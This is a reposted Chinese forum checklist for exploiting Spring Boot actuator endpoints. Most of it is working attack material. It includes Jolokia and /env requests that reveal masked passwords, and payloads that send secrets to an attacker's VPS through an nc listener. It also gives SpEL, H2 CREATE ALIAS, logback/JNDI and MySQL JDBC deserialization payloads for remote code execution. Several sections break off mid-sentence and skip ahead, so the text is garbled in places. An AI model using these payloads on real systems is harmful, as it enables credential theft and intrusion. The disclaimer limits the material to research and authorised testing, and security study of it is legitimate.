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[SAFE-ID: JIWO-2021-2933]   作者: 须臾 发表于: [2021-09-22]

本文共 [3] 位读者顶过

Spring Boot 相关漏洞学习资料,利用方法和技巧合集

Spring Boot Vulnerability Exploit CheckList

Spring Boot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全评估 check list

声明

⚠️ 本项目所有内容仅作为安全研究和授权测试使用, 相关人员对因误用和滥用该项目造成的一切损害概不负责

零:路由和版本

0x01:路由知识

  • Spring Boot 1.x 版本默认内置路由的根路径以 / 开始,2.x 则统一以 /actuator 开始

  • 有些程序员会自定义 /manage/management项目相关名称 为根路径

  • 默认内置路由名字,如 /env 有时候也会被程序员修改,如修改成 /appenv

0x02:版本知识

Spring Cloud 是基于 Spring Boot 来进行构建服务,并提供如配置管理、服务注册与发现、智能路由等常见功能的帮助快速开发分布式系统的系列框架的有序集合。

常见组件的版本相互依赖关系:

依赖项 版本列表及依赖组件版本
spring-boot-starter-parent spring-boot-starter-parent
spring-boot-dependencies spring-boot-dependencies
spring-cloud-dependencies spring-cloud-dependencies

Spring Cloud 与 Spring Boot 大版本之间的依赖关系:

Spring Cloud Spring Boot
Angel 兼容 Spring Boot 1.2.x
Brixton 兼容 Spring Boot 1.3.x、1.4.x
Camden 兼容 Spring Boot 1.4.x、1.5.x
Dalston 兼容 Spring Boot 1.5.x,不兼容 2.0.x
Edgware 兼容 Spring Boot 1.5.x,不兼容 2.0.x
Finchley 兼容 Spring Boot 2.0.x,不兼容 1.5.x
Greenwich 兼容 Spring Boot 2.1.x
Hoxton 兼容 Spring Boot 2.2.x

Spring Cloud 小版本号的后缀及含义:

版本号后缀 含义
BUILD-SNAPSHOT 快照版,代码不是固定,处于变化之中
MX 里程碑版
RCX 候选发布版
RELEASE 正式发布版
SRX (修复错误和 bug 并再次发布的)正式发布版

一:信息泄露

0x01:路由地址及接口调用详情泄漏

开发环境切换为线上生产环境时,相关人员没有更改配置文件或忘记切换配置环境,导致此漏洞

直接访问以下几个路由,验证漏洞是否存在:

/api-docs /v2/api-docs /swagger-ui.html 

一些可能会遇到的接口路由变形:

/api.html /sw/swagger-ui.html /api/swagger-ui.html /template/swagger-ui.html /spring-security-rest/api/swagger-ui.html /spring-security-oauth-resource/swagger-ui.html 

除此之外,下面的路由有时也会包含(或推测出)一些接口地址信息,但是无法获得参数相关信息:

/mappings /actuator/mappings /metrics /actuator/metrics /beans /actuator/beans /configprops /actuator/configprops 

一般来讲,知道 spring boot 应用的相关接口和传参信息并不能算是漏洞

但是可以检查暴露的接口是否存在未授权访问、越权或者其他业务型漏洞。

0x02:配置不当而暴露的路由

主要是因为程序员开发时没有意识到暴露路由可能会造成安全风险,或者没有按照标准流程开发,忘记上线时需要修改/切换生产环境的配置

参考 production-ready-endpointsspring-boot.txt,可能因为配置不当而暴露的默认内置路由可能会有:

/actuator /auditevents /autoconfig /beans /caches /conditions /configprops /docs /dump /env /flyway /health /heapdump /httptrace /info /intergrationgraph /jolokia /logfile /loggers /liquibase /metrics /mappings /prometheus /refresh /scheduledtasks /sessions /shutdown /trace /threaddump /actuator/auditevents /actuator/beans /actuator/health /actuator/conditions /actuator/configprops /actuator/env /actuator/info /actuator/loggers /actuator/heapdump /actuator/threaddump /actuator/metrics /actuator/scheduledtasks /actuator/httptrace /actuator/mappings /actuator/jolokia /actuator/hystrix.stream 

其中对寻找漏洞比较重要接口的有:

  • /env/actuator/env

    GET 请求 /env 会泄露环境变量信息,或者配置中的一些用户名,当程序员的属性名命名不规范 (例如 password 写成 psasword、pwd) 时,会泄露密码明文;

    同时有一定概率可以通过 POST 请求 /env 接口设置一些属性,触发相关 RCE 漏洞。

  • /jolokia

    通过 /jolokia/list 接口寻找可以利用的 MBean,触发相关 RCE 漏洞;

  • /trace

    一些 http 请求包访问跟踪信息,有可能发现有效的 cookie 信息

0x03:获取被星号脱敏的密码的明文 (方法一)

访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果

利用条件:

  • 目标网站存在 /jolokia/actuator/jolokia 接口

  • 目标使用了 jolokia-core 依赖(版本要求暂未知)

利用方法:

步骤一: 找到想要获取的属性名

GET 请求目标网站的 /env/actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二: jolokia 调用相关 Mbean 获取明文

将下面示例中的 security.user.password 替换为实际要获取的属性名,直接发包;明文值结果包含在 response 数据包中的 value 键中。

  • 调用 org.springframework.boot Mbean(可能更通用

实际上是调用 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法

spring 1.x

POST /jolokia Content-Type: application/json  {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]} 

spring 2.x

POST /actuator/jolokia Content-Type: application/json  {"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]} 
  • 调用 org.springframework.cloud.context.environment Mbean(需要 spring cloud 相关依赖

实际上是调用 org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法

spring 1.x

POST /jolokia Content-Type: application/json  {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]} 

spring 2.x

POST /actuator/jolokia Content-Type: application/json  {"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]} 

0x04:获取被星号脱敏的密码的明文 (方法二)

访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果

利用条件:

  • 可以 GET 请求目标网站的 /env

  • 可以 POST 请求目标网站的 /env

  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)

  • 目标使用了 spring-cloud-starter-netflix-eureka-client 依赖

  • 目标可以请求攻击者的服务器(请求可出外网)

利用方法:

步骤一: 找到想要获取的属性名

GET 请求目标网站的 /env/actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二: 使用 nc 监听 HTTP 请求

在自己控制的外网服务器上监听 80 端口:

nc -lvk 80
步骤三: 设置 eureka.client.serviceUrl.defaultZone 属性

将下面 http://value:${security.user.password}@your-vps-ip 中的 security.user.password 换成自己想要获取的对应的星号 * 遮掩的属性名;

your-vps-ip 换成自己外网服务器的真实 ip 地址。

spring 1.x

POST /env Content-Type: application/x-www-form-urlencoded  eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip 

spring 2.x

POST /actuator/env Content-Type: application/json  {"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"} 
步骤四: 刷新配置

spring 1.x

POST /refresh Content-Type: application/x-www-form-urlencoded 

spring 2.x

POST /actuator/refresh Content-Type: application/json 
步骤五: 解码属性值

正常的话,此时 nc 监听的服务器会收到目标发来的请求,其中包含类似如下 Authorization 头内容:

Authorization: Basic dmFsdWU6MTIzNDU2 

将其中的 dmFsdWU6MTIzNDU2部分使用 base64 解码,即可获得类似明文值 value:123456,其中的 123456 即是目标星号 * 脱敏前的属性值明文。

0x05:获取被星号脱敏的密码的明文 (方法三)

访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果

利用条件:

  • 通过 POST /env 设置属性触发目标对外网指定地址发起任意 http 请求

  • 目标可以请求攻击者的服务器(请求可出外网)

利用方法:

参考 UUUUnotfound 提出的 issue-1,可以在目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据

步骤一: 找到想要获取的属性名

GET 请求目标网站的 /env/actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二: 使用 nc 监听 HTTP 请求

在自己控制的外网服务器上监听 80 端口:

nc -lvk 80
步骤三: 触发对外 http 请求
  • spring.cloud.bootstrap.location 方法(同时适用于明文数据中有特殊 url 字符的情况):

spring 1.x

POST /env Content-Type: application/x-www-form-urlencoded  spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password} 

spring 2.x

POST /actuator/env Content-Type: application/json  {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"} 
  • eureka.client.serviceUrl.defaultZone 方法(不适用于明文数据中有特殊 url 字符的情况):

spring 1.x

POST /env Content-Type: application/x-www-form-urlencoded  eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password} 

spring 2.x

POST /actuator/env Content-Type: application/json  {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"} 
步骤四: 刷新配置

spring 1.x

POST /refresh Content-Type: application/x-www-form-urlencoded 

spring 2.x

POST /actuator/refresh Content-Type: application/json 

0x06:获取被星号脱敏的密码的明文 (方法四)

访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果

利用条件:

  • 可正常 GET 请求目标 /heapdump/actuator/heapdump 接口

利用方法:

步骤一: 找到想要获取的属性名

GET 请求目标网站的 /env/actuator/env 接口,搜索 ****** 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。

步骤二: 下载 jvm heap 信息

下载的 heapdump 文件大小通常在 50M—500M 之间,有时候也可能会大于 2G

GET 请求目标的 /heapdump/actuator/heapdump 接口,下载应用实时的 JVM 堆信息

步骤三: 使用 MAT 获得 jvm heap 中的密码明文

参考 文章 方法,使用 Eclipse Memory Analyzer 工具的 OQL 语句 select * from org.springframework.web.context.support.StandardServletEnvironment, 辅助快速过滤分析,获得密码明文

二:远程代码执行

由于 spring boot 相关漏洞可能是多个组件漏洞组合导致的,所以有些漏洞名字起的不太正规,以能区分为准

0x01:whitelabel error page SpEL RCE

利用条件:

  • spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0

  • 至少知道一个触发 springboot 默认错误页面的接口及参数名

利用方法:

步骤一:找到一个正常传参处

比如发现访问 /article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page,则后续 payload 都将会在参数 id 处尝试。

步骤二:执行 SpEL 表达式

输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。

由字符串格式转换成 0x** java 字节形式,方便执行任意代码:

# coding: utf-8  result = "" target = 'open -a Calculator' for x in target:     result += hex(ord(x)) + "," print(result.rstrip(','))

执行 open -a Calculator 命令

${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}

漏洞原理:

  1. spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中

  2. 此时 URL 中的参数值会用 parseStringValue 方法进行递归解析

  3. 其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞

漏洞分析:

SpringBoot SpEL表达式注入漏洞-分析与复现

漏洞环境:

repository/springboot-spel-rce

正常访问:

http://127.0.0.1:9091/article?id=66 

执行 open -a Calculator 命令:

http://127.0.0.1:9091/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x6f,0x70,0x65,0x6e,0x20,0x2d,0x61,0x20,0x43,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72}))}

0x02:spring cloud SnakeYAML RCE

利用条件:

  • 可以 POST 请求目标网站的 /env 接口设置属性

  • 可以 POST 请求目标网站的 /refresh 接口刷新配置(存在 spring-boot-starter-actuator 依赖)

  • 目标依赖的 spring-cloud-starter 版本 ⚠️ 如果目标成功请求了example.xml 并且 marshalsec 也接收到了目标请求,但是目标没有请求 JNDIObject.class,大概率是因为目标环境的 jdk 版本太高,导致 JNDI 利用失败。

替换实际的 your-vps-ip 地址访问 URL 触发漏洞:

/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml 

漏洞原理:

  1. 直接访问可触发漏洞的 URL,相当于通过 jolokia 调用 ch.qos.logback.classic.jmx.JMXConfigurator 类的 reloadByURL 方法

  2. 目标机器请求外部日志配置文件 URL 地址,获得恶意 xml 文件内容

  3. 目标机器使用 saxParser.parse 解析 xml 文件 (这里导致了 xxe 漏洞)

  4. xml 文件中利用 logback 依赖的 insertFormJNDI 标签,设置了外部 JNDI 服务器地址

  5. 目标机器请求恶意 JNDI 服务器,导致 JNDI 注入,造成 RCE 漏洞

漏洞分析:

spring boot actuator rce via jolokia

漏洞环境:

repository/springboot-jolokia-logback-rce

正常访问:

http://127.0.0.1:9094/env 

0x05:jolokia Realm JNDI RCE

利用条件:

  • 目标网站存在 /jolokia/actuator/jolokia 接口

  • 目标使用了 jolokia-core 依赖(版本要求暂未知)并且环境中存在相关 MBean

  • 目标可以请求攻击者的服务器(请求可出外网)

  • JNDI 注入受目标 JDK 版本影响,jdk ⚠️ 下面payload 中的 'T5' 方法每一次执行命令后都需要更换名称 (如 T6) ,然后才能被重新创建使用,否则下次 restart 重启应用时漏洞不会被触发

spring 1.x(无回显执行命令)

POST /env Content-Type: application/x-www-form-urlencoded  spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc'); 

spring 2.x(无回显执行命令)

POST /actuator/env Content-Type: application/json  {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"} 
步骤二:重启应用

spring 1.x

POST /restart Content-Type: application/x-www-form-urlencoded 

spring 2.x

POST /actuator/restart Content-Type: application/json 

漏洞原理:

  1. spring.datasource.hikari.connection-test-query 属性被设置为一条恶意的 CREATE ALIAS 创建自定义函数的 SQL 语句

  2. 其属性对应 HikariCP 数据库连接池的 connectionTestQuery 配置,定义一个新数据库连接之前被执行的 SQL 语句

  3. restart 重启应用,会建立新的数据库连接

  4. 如果 SQL 语句中的自定义函数还没有被执行过,那么自定义函数就会被执行,造成 RCE 漏洞

漏洞分析:

remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

漏洞环境:

repository/springboot-h2-database-rce

正常访问:

http://127.0.0.1:9096/actuator/env 

0x07:h2 database console JNDI RCE

利用条件:

  • 存在 com.h2database.h2 依赖(版本要求暂未知)

  • spring 配置中启用 h2 console spring.h2.console.enabled=true

  • 目标可以请求攻击者的服务器(请求可出外网)

  • JNDI 注入受目标 JDK 版本影响,jdk ⚠️ 修改此属性会暂时导致网站所有的正常数据库服务不可用,会对业务造成影响,请谨慎操作!

mysql-connector-java 5.x 版本设置属性值为:

jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true 

mysql-connector-java 8.x 版本设置属性值为:

jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true 

spring 1.x

POST /env Content-Type: application/x-www-form-urlencoded  spring.datasource.url=对应属性值 

spring 2.x

POST /actuator/env Content-Type: application/json  {"name":"spring.datasource.url","value":"对应属性值"} 
步骤四:刷新配置

spring 1.x

POST /refresh Content-Type: application/x-www-form-urlencoded 

spring 2.x

POST /actuator/refresh Content-Type: application/json 
步骤五:触发数据库查询

尝试访问网站已知的数据库查询的接口,例如: /product/list ,或者寻找其他方式,主动触发源网站进行数据库查询,然后漏洞会被触发

步骤六:恢复正常 jdbc url

反序列化漏洞利用完成后,使用 步骤三 的方法恢复 步骤一 中记录的 spring.datasource.url 的原始 value

漏洞原理:

  1. spring.datasource.url 属性被设置为外部恶意 mysql jdbc url 地址

  2. refresh 刷新后设置了一个新的 spring.datasource.url 属性值

  3. 当网站进行数据库查询等操作时,会尝试使用恶意 mysql jdbc url 建立新的数据库连接

  4. 然后恶意 mysql server 就会在建立连接的合适阶段返回反序列化 payload 数据

  5. 目标依赖的 mysql-connector-java 就会反序列化设置好的 gadget,造成 RCE 漏洞

漏洞分析:

New-Exploit-Technique-In-Java-Deserialization-Attack

漏洞环境:

需要配置 application.properties 中的 spring.datasource.url、spring.datasource.username、spring.datasource.password,保证可以正常连上 mysql 数据库,否则程序启动时就会报错退出

repository/springboot-mysql-jdbc-rce

正常访问:

http://127.0.0.1:9097/actuator/env 

发送完 payload 后触发漏洞:

http://127.0.0.1:9097/product/list 
[出自:jiwo.org]

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